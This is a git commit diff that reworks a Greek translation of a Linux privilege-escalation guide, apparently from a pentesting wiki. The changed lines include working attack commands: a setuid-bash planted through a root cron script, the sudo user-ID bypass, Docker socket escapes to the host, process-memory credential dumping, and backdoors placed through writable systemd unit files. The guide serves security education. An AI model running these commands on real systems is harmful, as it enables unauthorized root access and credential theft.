Translated ['src/linux-hardening/privilege-escalation/README.md'] to el

This commit is contained in:
Translator 2025-06-07 16:46:56 +00:00
parent 5c436de4f2
commit 8ef5832421
13 changed files with 97 additions and 3318 deletions

View File

@ -793,6 +793,29 @@
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
# 🤖 AI
- [AI Security](AI/README.md)
- [AI Security Methodology](AI/AI-Deep-Learning.md)
- [AI MCP Security](AI/AI-MCP-Servers.md)
- [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md)
- [AI Models RCE](AI/AI-Models-RCE.md)
- [AI Prompts](AI/AI-Prompts.md)
- [AI Risk Frameworks](AI/AI-Risk-Frameworks.md)
- [AI Supervised Learning Algorithms](AI/AI-Supervised-Learning-Algorithms.md)
- [AI Unsupervised Learning Algorithms](AI/AI-Unsupervised-Learning-algorithms.md)
- [AI Reinforcement Learning Algorithms](AI/AI-Reinforcement-Learning-Algorithms.md)
- [LLM Training](AI/AI-llm-architecture/README.md)
- [0. Basic LLM Concepts](AI/AI-llm-architecture/0.-basic-llm-concepts.md)
- [1. Tokenizing](AI/AI-llm-architecture/1.-tokenizing.md)
- [2. Data Sampling](AI/AI-llm-architecture/2.-data-sampling.md)
- [3. Token Embeddings](AI/AI-llm-architecture/3.-token-embeddings.md)
- [4. Attention Mechanisms](AI/AI-llm-architecture/4.-attention-mechanisms.md)
- [5. LLM Architecture](AI/AI-llm-architecture/5.-llm-architecture.md)
- [6. Pre-training & Loading models](AI/AI-llm-architecture/6.-pre-training-and-loading-models.md)
- [7.0. LoRA Improvements in fine-tuning](AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md)
- [7.1. Fine-Tuning for Classification](AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md)
- [7.2. Fine-Tuning to follow instructions](AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md)
# 🔩 Reversing
- [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
@ -850,17 +873,6 @@
- [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
- [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
- [Test LLMs](todo/test-llms.md)
- [LLM Training](todo/llm-training-data-preparation/README.md)
- [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
- [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
- [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)
- [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md)
- [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md)
- [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md)
- [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md)
- [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md)
- [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md)
- [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md)
- [Burp Suite](todo/burp-suite.md)
- [Other Web Tricks](todo/other-web-tricks.md)
- [Interesting HTTP$$external:todo/interesting-http.md$$]()

View File

@ -6,7 +6,7 @@
### OS info
Ας ξεκινήσουμε αποκτώντας κάποιες γνώσεις για το λειτουργικό σύστημα που εκτελείται
Ας ξεκινήσουμε αποκτώντας κάποιες γνώσεις για το λειτουργικό σύστημα που τρέχει
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@ -33,7 +33,7 @@ uname -a
searchsploit "Linux Kernel"
```
Μπορείτε να βρείτε μια καλή λίστα ευάλωτων πυρήνων και μερικούς ήδη **συγκεντρωμένους εκμεταλλεύσεις** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
Άλλες τοποθεσίες όπου μπορείτε να βρείτε μερικούς **συγκεντρωμένους εκμεταλλεύσεις**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
Άλλες ιστοσελίδες όπου μπορείτε να βρείτε μερικούς **συγκεντρωμένους εκμεταλλεύσεις**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
Για να εξάγετε όλες τις ευάλωτες εκδόσεις πυρήνα από αυτή την ιστοσελίδα μπορείτε να κάνετε:
```bash
@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash
```
### Dmesg signature verification failed
Έλεγχος του **smasher2 box of HTB** για ένα **παράδειγμα** του πώς αυτή η ευπάθεια θα μπορούσε να εκμεταλλευτεί.
Ελέγξτε το **smasher2 box of HTB** για ένα **παράδειγμα** του πώς αυτή η ευπάθεια θα μπορούσε να εκμεταλλευτεί.
```bash
dmesg 2>/dev/null | grep "signature"
```
@ -131,7 +131,7 @@ docker-security/
## Drives
Ελέγξτε **τι είναι τοποθετημένο και τι δεν είναι**, πού και γιατί. Αν κάτι δεν είναι τοποθετημένο, μπορείτε να προσπαθήσετε να το τοποθετήσετε και να ελέγξετε για ιδιωτικές πληροφορίες.
Ελέγξτε **τι είναι προσαρτημένο και τι δεν είναι**, πού και γιατί. Αν κάτι δεν είναι προσαρτημένο, μπορείτε να προσπαθήσετε να το προσαρτήσετε και να ελέγξετε για ιδιωτικές πληροφορίες.
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@ -158,11 +158,11 @@ rpm -qa #Centos
```
Αν έχετε πρόσβαση SSH στη μηχανή, μπορείτε επίσης να χρησιμοποιήσετε **openVAS** για να ελέγξετε για παρωχημένο και ευάλωτο λογισμικό που είναι εγκατεστημένο στη μηχανή.
> [!NOTE] > _Σημειώστε ότι αυτές οι εντολές θα δείξουν πολλές πληροφορίες που θα είναι κυρίως άχρηστες, επομένως συνιστάται κάποιες εφαρμογές όπως το OpenVAS ή παρόμοιες που θα ελέγξουν αν κάποια εγκατεστημένη έκδοση λογισμικού είναι ευάλωτη σε γνωστά exploits._
> [!NOTE] > _Σημειώστε ότι αυτές οι εντολές θα δείξουν πολλές πληροφορίες που θα είναι κυρίως άχρηστες, επομένως συνιστάται κάποιες εφαρμογές όπως το OpenVAS ή παρόμοιες που θα ελέγξουν αν κάποια εγκατεστημένη έκδοση λογισμικού είναι ευάλωτη σε γνωστά exploits_
## Διαδικασίες
Ρίξτε μια ματιά σε **ποιες διαδικασίες** εκτελούνται και ελέγξτε αν κάποια διαδικασία έχει **περισσότερα δικαιώματα από ό,τι θα έπρεπε** (ίσως μια tomcat που εκτελείται από τον root;).
Ρίξτε μια ματιά σε **ποιες διαδικασίες** εκτελούνται και ελέγξτε αν κάποια διαδικασία έχει **περισσότερα δικαιώματα από ό,τι θα έπρεπε** (ίσως μια tomcat που εκτελείται από τον root;)
```bash
ps aux
ps -ef
@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
Για μια δεδομένη ταυτότητα διαδικασίας, **τα maps δείχνουν πώς είναι χαρτογραφημένη η μνήμη μέσα στον εικονικό χώρο διευθύνσεων αυτής της διαδικασίας**; δείχνει επίσης **τα δικαιώματα κάθε χαρτογραφημένης περιοχής**. Το **mem** ψευδοαρχείο **εκθέτει τη μνήμη των διαδικασιών**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τους offset τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **αναζητήσουμε στο αρχείο mem και να εξάγουμε όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο.
Για μια δεδομένη ταυτότητα διαδικασίας, **τα maps δείχνουν πώς είναι χαρτογραφημένη η μνήμη μέσα στον εικονικό χώρο διευθύνσεων αυτής της διαδικασίας**; δείχνει επίσης τις **άδειες κάθε χαρτογραφημένης περιοχής**. Το **mem** ψευδοαρχείο **εκθέτει τη μνήμη των διαδικασιών**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τους offset τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **αναζητήσουμε στο αρχείο mem και να εξάγουμε όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο.
```bash
procdump()
(
@ -237,7 +237,7 @@ strings /dev/mem -n10 | grep -i PASS
```
### ProcDump για linux
ProcDump είναι μια επανεξέταση του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Αποκτήστε το στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
ProcDump είναι μια επαναστατική έκδοση του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Αποκτήστε το στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
procdump -p 1714
@ -270,7 +270,7 @@ Press Ctrl-C to end monitoring without terminating the process.
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε να αφαιρέσετε χειροκίνητα τις απαιτήσεις root και να εξάγετε τη διαδικασία που ανήκει σε εσάς
- Το Script A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root)
- Το σενάριο A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root)
### Διαπιστευτήρια από τη Μνήμη Διαδικασίας
@ -288,16 +288,16 @@ strings *.dump | grep -i password
```
#### mimipenguin
Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **κλέψει καθαρές πιστοποιήσεις από τη μνήμη** και από κάποια **γνωστά αρχεία**. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά.
Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **κλέψει καθαρές πιστοποιήσεις από τη μνήμη** και από μερικά **καλά γνωστά αρχεία**. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά.
| Χαρακτηριστικό | Όνομα Διαδικασίας |
| ------------------------------------------------- | -------------------- |
| Κωδικός GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Ενεργές Συνδέσεις FTP) | vsftpd |
| Apache2 (Ενεργές Συνεδρίες HTTP Basic Auth) | apache2 |
| OpenSSH (Ενεργές Συνεδρίες SSH - Χρήση Sudo) | sshd: |
| Apache2 (Ενεργές Συνεδρίες HTTP Basic Auth) | apache2 |
| OpenSSH (Ενεργές Συνεδρίες SSH - Χρήση Sudo) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@ -348,7 +348,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
wildcards-spare-tricks.md
{{#endref}}
### Επικάλυψη script cron και symlink
### Εγγραφή script cron και symlink
Αν **μπορείτε να τροποποιήσετε ένα script cron** που εκτελείται από τον root, μπορείτε να αποκτήσετε ένα shell πολύ εύκολα:
```bash
@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
```
Αν το σενάριο που εκτελείται από τον root χρησιμοποιεί ένα **κατάλογο όπου έχετε πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και **να δημιουργήσετε έναν φάκελο symlink σε έναν άλλο** που εξυπηρετεί ένα σενάριο που ελέγχετε εσείς.
Αν το σενάριο που εκτελείται από τον root χρησιμοποιεί έναν **φάκελο όπου έχετε πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και **να δημιουργήσετε έναν φάκελο symlink σε έναν άλλο** που εξυπηρετεί ένα σενάριο που ελέγχετε εσείς.
```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
@ -364,7 +364,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
Μπορείτε να παρακολουθήσετε τις διαδικασίες για να αναζητήσετε διαδικασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να εκμεταλλευτείτε αυτό και να κερδίσετε δικαιώματα.
Για παράδειγμα, για να **παρακολουθήσετε κάθε 0.1s κατά τη διάρκεια 1 λεπτού**, **ταξινομήστε κατά λιγότερο εκτελούμενες εντολές** και διαγράψτε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε:
Για παράδειγμα, για να **παρακολουθήσετε κάθε 0.1s κατά τη διάρκεια 1 λεπτού**, **ταξινομήστε κατά λιγότερες εκτελέσεις εντολών** και διαγράψτε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
@ -378,12 +378,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
```
## Υπηρεσίες
### Γραφές _.service_ που είναι εγγράψιμες
### Γραφές _.service_
Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, **θα μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία είναι **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\
Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, θα **μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\
Για παράδειγμα, δημιουργήστε το backdoor σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`**
### Εκτελέσιμα αρχεία υπηρεσίας που είναι εγγράψιμα
### Εκτελέσιμα αρχεία υπηρεσιών
Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε εκτελέσιμα αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με backdoors ώστε όταν οι υπηρεσίες εκτελούνται ξανά, τα backdoors να εκτελούνται.
@ -393,7 +393,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
```bash
systemctl show-environment
```
Αν διαπιστώσετε ότι μπορείτε να **γράφετε** σε οποιονδήποτε από τους φακέλους της διαδρομής, μπορεί να είστε σε θέση να **ανεβάσετε δικαιώματα**. Πρέπει να αναζητήσετε **σχετικές διαδρομές που χρησιμοποιούνται σε αρχεία ρυθμίσεων υπηρεσιών** όπως:
Αν διαπιστώσετε ότι μπορείτε να **γράφετε** σε οποιονδήποτε από τους φακέλους της διαδρομής, μπορεί να είστε σε θέση να **κλιμακώσετε τα δικαιώματα**. Πρέπει να αναζητήσετε **σχετικές διαδρομές που χρησιμοποιούνται σε αρχεία ρυθμίσεων υπηρεσιών** όπως:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
@ -419,12 +419,12 @@ Unit=backdoor.service
```
Στην τεκμηρίωση μπορείτε να διαβάσετε τι είναι η μονάδα:
> Η μονάδα που θα ενεργοποιηθεί όταν λήξει αυτός ο χρονοδιακόπτης. Το επιχείρημα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Αν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα χρονοδιακόπτη, εκτός από το επίθημα. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας χρονοδιακόπτη να είναι ονομασμένα ταυτόχρονα, εκτός από το επίθημα.
> Η μονάδα που θα ενεργοποιηθεί όταν λήξει αυτός ο χρονοδιακόπτης. Το επιχείρημα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Αν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα χρονοδιακόπτη, εκτός από το επίθημα. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας χρονοδιακόπτη να είναι ονομάζονται ομοίως, εκτός από το επίθημα.
Επομένως, για να εκμεταλλευτείτε αυτή την άδεια θα χρειαστεί να:
- Βρείτε κάποια μονάδα systemd (όπως μια `.service`) που **εκτελεί ένα εγγράψιμο δυαδικό αρχείο**
- Βρείτε κάποια μονάδα systemd που **εκτελεί μια σχετική διαδρομή** και έχετε **δικαιώματα εγγραφής** πάνω στη **διαδρομή systemd** (για να προσποιηθείτε ότι είστε αυτό το εκτελέσιμο)
- Βρείτε κάποια μονάδα systemd που **εκτελεί μια σχετική διαδρομή** και έχετε **δικαιώματα εγγραφής** πάνω στη **διαδρομή systemd** (για να προσποιηθείτε ότι είστε αυτή η εκτελέσιμη)
**Μάθετε περισσότερα για τους χρονοδιακόπτες με `man systemd.timer`.**
@ -439,26 +439,26 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
## Sockets
Οι Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** στην ίδια ή σε διαφορετικές μηχανές εντός μοντέλων πελάτη-διακομιστή. Χρησιμοποιούν τυπικά αρχεία περιγραφέα Unix για την επικοινωνία μεταξύ υπολογιστών και ρυθμίζονται μέσω αρχείων `.socket`.
Οι Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** σε ίδιες ή διαφορετικές μηχανές εντός μοντέλων client-server. Χρησιμοποιούν τυπικά αρχεία περιγραφέα Unix για την επικοινωνία μεταξύ υπολογιστών και ρυθμίζονται μέσω αρχείων `.socket`.
Οι Sockets μπορούν να ρυθμιστούν χρησιμοποιώντας αρχεία `.socket`.
**Μάθετε περισσότερα για τους sockets με `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές, αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, η διεύθυνση IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.)
- `Accept`: Δέχεται ένα boolean επιχείρημα. Αν είναι **true**, μια **εγκατάσταση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακροατές sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets datagram και FIFOs όπου μια μοναδική μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`.
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, η IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.)
- `Accept`: Δέχεται ένα boolean επιχείρημα. Αν είναι **true**, μια **εγκατάσταση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακροατές sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets datagram και FIFOs όπου μια ενιαία μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος τόκος της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από επιχειρήματα για τη διαδικασία.
- `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που εκτελούνται **πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακροατών **sockets**/FIFOs, αντίστοιχα.
- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **που θα ενεργοποιηθεί** με **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα πρέπει να είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή.
- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **που θα ενεργοποιηθεί** με **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα είναι απαραίτητο να χρησιμοποιήσετε αυτή την επιλογή.
### Writable .socket files
Αν βρείτε ένα **γρα writable** `.socket` αρχείο μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και η backdoor θα εκτελείται πριν δημιουργηθεί ο socket. Επομένως, θα **χρειαστεί πιθανώς να περιμένετε μέχρι να επανεκκινηθεί η μηχανή.**\
_Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη ρύθμιση αρχείου socket ή η backdoor δεν θα εκτελείται_
Αν βρείτε ένα **γραφτό** αρχείο `.socket` μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και η πίσω πόρτα θα εκτελείται πριν δημιουργηθεί ο socket. Επομένως, θα **χρειαστεί πιθανώς να περιμένετε μέχρι να επανεκκινηθεί η μηχανή.**\
_Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη ρύθμιση αρχείου socket ή η πίσω πόρτα δεν θα εκτελείται_
### Writable sockets
Αν **εντοπίσετε οποιονδήποτε writable socket** (_τώρα μιλάμε για Unix Sockets και όχι για τα αρχεία ρύθμισης `.socket`_), τότε **μπορείτε να επικοινωνήσετε** με αυτόν τον socket και ίσως να εκμεταλλευτείτε μια ευπάθεια.
Αν **εντοπίσετε οποιονδήποτε γραφτό socket** (_τώρα μιλάμε για Unix Sockets και όχι για τα αρχεία ρύθμισης `.socket`_), τότε **μπορείτε να επικοινωνήσετε** με αυτόν τον socket και ίσως να εκμεταλλευτείτε μια ευπάθεια.
### Enumerate Unix Sockets
```bash
@ -489,11 +489,11 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
### Γράψιμο Docker Socket
Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι εγ writable από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιώματος εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν η Docker CLI δεν είναι διαθέσιμη.
Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι εγ writable από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιωμάτων εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν η Docker CLI δεν είναι διαθέσιμη.
#### **Κλιμάκωση Δικαιωμάτων με Docker CLI**
Αν έχετε δικαίωμα εγγραφής στο Docker socket, μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας τις παρακάτω εντολές:
Αν έχετε δικαιώματα εγγραφής στο Docker socket, μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας τις παρακάτω εντολές:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
@ -536,7 +536,7 @@ Upgrade: tcp
### Άλλα
Σημειώστε ότι αν έχετε δικαιώματα εγγραφής πάνω στη υποδοχή docker επειδή είστε **μέσα στην ομάδα `docker`** έχετε [**περισσότερους τρόπους για να κλιμακώσετε τα δικαιώματα**](interesting-groups-linux-pe/index.html#docker-group). Αν το [**docker API ακούει σε μια θύρα** μπορείτε επίσης να το παραβιάσετε](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Σημειώστε ότι αν έχετε δικαιώματα εγγραφής πάνω στη υποδοχή docker επειδή είστε **μέσα στην ομάδα `docker`** έχετε [**περισσότερους τρόπους για να κλιμακώσετε τα δικαιώματα**](interesting-groups-linux-pe/index.html#docker-group). Αν το [**docker API ακούει σε μια θύρα** μπορείτε επίσης να το συμβιβάσετε](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Ελέγξτε **περισσότερους τρόπους για να σπάσετε από το docker ή να το κακοποιήσετε για να κλιμακώσετε τα δικαιώματα** στο:
@ -562,9 +562,9 @@ runc-privilege-escalation.md
## **D-Bus**
Το D-Bus είναι ένα εξελιγμένο **σύστημα Επικοινωνίας Μεταξύ Διαδικασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποτελεσματικά. Σχεδιασμένο με γνώμονα το σύγχρονο σύστημα Linux, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών.
Το D-Bus είναι ένα προηγμένο **σύστημα Επικοινωνίας Μεταξύ Διαδικασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα με αποδοτικό τρόπο. Σχεδιασμένο με γνώμονα το σύγχρονο σύστημα Linux, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών.
Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στην εκπομπή γεγονότων ή σημάτων, προάγοντας την απρόσκοπτη ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, ρέοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες.
